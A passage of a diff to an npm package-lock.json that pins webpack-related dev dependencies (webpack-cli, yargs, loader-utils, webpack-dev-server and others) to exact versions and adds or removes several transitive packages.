"requires": {
- "esrecurse": "^4.1.0",
- "estraverse": "^4.1.1"
+ "esrecurse": "4.2.1",
+ "estraverse": "4.2.0"
}
},
"expand-brackets": {
@@ -18346,13 +19821,13 @@
"integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
"dev": true,
"requires": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -18361,7 +19836,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -18370,7 +19845,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
},
"is-accessor-descriptor": {
@@ -18379,7 +19854,7 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -18388,7 +19863,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -18399,7 +19874,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -18408,7 +19883,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -18419,9 +19894,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
}
},
"kind-of": {
@@ -18438,14 +19913,14 @@
"integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
"dev": true,
"requires": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -18454,7 +19929,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"extend-shallow": {
@@ -18463,21 +19938,27 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=",
+ "dev": true
+ },
"fill-range": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
},
"dependencies": {
"extend-shallow": {
@@ -18486,7 +19967,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -18497,7 +19978,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -18506,7 +19987,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -18515,9 +19996,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"is-number": {
@@ -18526,7 +20007,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -18535,7 +20016,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -18546,6 +20027,21 @@
"integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
"dev": true
},
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true
+ },
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+ "dev": true,
+ "requires": {
+ "minimist": "1.2.0"
+ }
+ },
"kind-of": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
@@ -18553,14 +20049,14 @@
"dev": true
},
"loader-utils": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz",
- "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
}
},
"micromatch": {
@@ -18569,51 +20065,63 @@
"integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
+ }
+ },
+ "schema-utils": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+ "dev": true,
+ "requires": {
+ "ajv": "6.10.2",
+ "ajv-errors": "1.0.0",
+ "ajv-keywords": "3.4.1"
}
},
"tapable": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.0.tgz",
- "integrity": "sha512-IlqtmLVaZA2qab8epUXbVWRn3aB1imbDMJtjB3nu4X0NqPkcY/JH9ZtCBWKHWPxs8Svi9tyo8w2dBoi07qZbBA==",
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
+ "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==",
"dev": true
}
}
},
"webpack-cli": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.2.tgz",
- "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==",
+ "version": "3.3.9",
+ "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.9.tgz",
+ "integrity": "sha512-xwnSxWl8nZtBl/AFJCOn9pG7s5CYUYdZxmmukv+fAHLcBIHM36dImfpQg3WfShZXeArkWlf6QRw24Klcsv8a5A==",
"dev": true,
"requires": {
- "chalk": "^2.4.1",
- "cross-spawn": "^6.0.5",
- "enhanced-resolve": "^4.1.0",
- "global-modules-path": "^2.3.0",
- "import-local": "^2.0.0",
- "interpret": "^1.1.0",
- "loader-utils": "^1.1.0",
- "supports-color": "^5.5.0",
- "v8-compile-cache": "^2.0.2",
- "yargs": "^12.0.2"
+ "chalk": "2.4.2",
+ "cross-spawn": "6.0.5",
+ "enhanced-resolve": "4.1.0",
+ "findup-sync": "3.0.0",
+ "global-modules": "2.0.0",
+ "import-local": "2.0.0",
+ "interpret": "1.2.0",
+ "loader-utils": "1.2.3",
+ "supports-color": "6.1.0",
+ "v8-compile-cache": "2.0.3",
+ "yargs": "13.2.4"
},
"dependencies": {
"ansi-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
"dev": true
},
"ansi-styles": {
@@ -18622,72 +20130,46 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
- "camelcase": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=",
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
"dev": true
},
"chalk": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz",
- "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.5.0"
+ },
+ "dependencies": {
+ "supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+ "has-flag": "3.0.0"
+ }
+ }
}
},
"cliui": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz",
- "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+ "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
"dev": true,
"requires": {
- "string-width": "^2.1.1",
- "strip-ansi": "^4.0.0",
- "wrap-ansi": "^2.0.0"
- }
- },
- "cross-spawn": {
- "version": "6.0.5",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
- "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
- "dev": true,
- "requires": {
- "nice-try": "^1.0.4",
- "path-key": "^2.0.1",
- "semver": "^5.5.0",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
- }
- },
- "decamelize": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz",
- "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==",
- "dev": true,
- "requires": {
- "xregexp": "4.0.0"
- }
- },
- "execa": {
- "version": "0.10.0",
- "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
- "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
- "dev": true,
- "requires": {
- "cross-spawn": "^6.0.0",
- "get-stream": "^3.0.0",
- "is-stream": "^1.1.0",
- "npm-run-path": "^2.0.0",
- "p-finally": "^1.0.0",
- "signal-exit": "^3.0.0",
- "strip-eof": "^1.0.0"
+ "string-width": "3.1.0",
+ "strip-ansi": "5.2.0",
+ "wrap-ansi": "5.1.0"
}
},
"find-up": {
@@ -18696,39 +20178,39 @@
"integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
"dev": true,
"requires": {
- "locate-path": "^3.0.0"
+ "locate-path": "3.0.0"
}
},
+ "get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true
+ },
"has-flag": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
- "invert-kv": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
- "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
- "dev": true
- },
- "lcid": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
- "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
"dev": true,
"requires": {
- "invert-kv": "^2.0.0"
+ "minimist": "1.2.0"
}
},
"loader-utils": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz",
- "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
}
},
"locate-path": {
@@ -18737,39 +20219,17 @@
"integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
"dev": true,
"requires": {
- "p-locate": "^3.0.0",
- "path-exists": "^3.0.0"
- }
- },
- "mem": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz",
- "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==",
- "dev": true,
- "requires": {
- "map-age-cleaner": "^0.1.1",
- "mimic-fn": "^1.0.0",
- "p-is-promise": "^1.1.0"
- }
- },
- "os-locale": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz",
- "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==",
- "dev": true,
- "requires": {
- "execa": "^0.10.0",
- "lcid": "^2.0.0",
- "mem": "^4.0.0"
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
}
},
"p-limit": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
- "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz",
+ "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==",
"dev": true,
"requires": {
- "p-try": "^2.0.0"
+ "p-try": "2.2.0"
}
},
"p-locate": {
@@ -18778,13 +20238,13 @@
"integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
"dev": true,
"requires": {
- "p-limit": "^2.0.0"
+ "p-limit": "2.2.1"
}
},
"p-try": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz",
- "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
"dev": true
},
"path-exists": {
@@ -18793,57 +20253,75 @@
"integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
"dev": true
},
- "semver": {
- "version": "5.5.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
- "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
+ "require-main-filename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
+ "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
"dev": true
},
- "strip-ansi": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
+ "string-width": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+ "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
"dev": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "emoji-regex": "7.0.3",
+ "is-fullwidth-code-point": "2.0.0",
+ "strip-ansi": "5.2.0"
+ }
+ },
+ "strip-ansi": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "4.1.0"
}
},
"supports-color": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
+ "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
},
+ "wrap-ansi": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+ "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "3.2.1",
+ "string-width": "3.1.0",
+ "strip-ansi": "5.2.0"
+ }
+ },
+ "y18n": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz",
+ "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==",
+ "dev": true
+ },
"yargs": {
- "version": "12.0.2",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz",
- "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==",
+ "version": "13.2.4",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.2.4.tgz",
+ "integrity": "sha512-HG/DWAJa1PAnHT9JAhNa8AbAv3FPaiLzioSjCcmuXXhP8MlpHO5vwls4g4j6n30Z74GVQj8Xa62dWVx1QCGklg==",
"dev": true,
"requires": {
- "cliui": "^4.0.0",
- "decamelize": "^2.0.0",
- "find-up": "^3.0.0",
- "get-caller-file": "^1.0.1",
- "os-locale": "^3.0.0",
- "require-directory": "^2.1.1",
- "require-main-filename": "^1.0.1",
- "set-blocking": "^2.0.0",
- "string-width": "^2.0.0",
- "which-module": "^2.0.0",
- "y18n": "^3.2.1 || ^4.0.0",
- "yargs-parser": "^10.1.0"
- }
- },
- "yargs-parser": {
- "version": "10.1.0",
- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz",
- "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==",
- "dev": true,
- "requires": {
- "camelcase": "^4.1.0"
+ "cliui": "5.0.0",
+ "find-up": "3.0.0",
+ "get-caller-file": "2.0.5",
+ "os-locale": "3.1.0",
+ "require-directory": "2.1.1",
+ "require-main-filename": "2.0.0",
+ "set-blocking": "2.0.0",
+ "string-width": "3.1.0",
+ "which-module": "2.0.0",
+ "y18n": "4.0.0",
+ "yargs-parser": "13.1.1"
}
}
}
@@ -18854,49 +20332,54 @@
"integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==",
"dev": true,
"requires": {
- "loud-rejection": "^1.6.0",
- "memory-fs": "~0.4.1",
- "mime": "^2.1.0",
- "path-is-absolute": "^1.0.0",
- "range-parser": "^1.0.3",
- "url-join": "^2.0.2",
- "webpack-log": "^1.0.1"
+ "loud-rejection": "1.6.0",
+ "memory-fs": "0.4.1",
+ "mime": "2.3.1",
+ "path-is-absolute": "1.0.1",
+ "range-parser": "1.2.0",
+ "url-join": "2.0.5",
+ "webpack-log": "1.2.0"
}
},
"webpack-dev-server": {
- "version": "3.1.9",
- "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.9.tgz",
- "integrity": "sha512-fqPkuNalLuc/hRC2QMkVYJkgNmRvxZQo7ykA2e1XRg/tMJm3qY7ZaD6d89/Fqjxtj9bOrn5wZzLD2n84lJdvWg==",
+ "version": "3.8.1",
+ "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.8.1.tgz",
+ "integrity": "sha512-9F5DnfFA9bsrhpUCAfQic/AXBVHvq+3gQS+x6Zj0yc1fVVE0erKh2MV4IV12TBewuTrYeeTIRwCH9qLMvdNvTw==",
"dev": true,
"requires": {
"ansi-html": "0.0.7",
- "bonjour": "^3.5.0",
- "chokidar": "^2.0.0",
- "compression": "^1.5.2",
- "connect-history-api-fallback": "^1.3.0",
- "debug": "^3.1.0",
- "del": "^3.0.0",
- "express": "^4.16.2",
- "html-entities": "^1.2.0",
- "http-proxy-middleware": "~0.18.0",
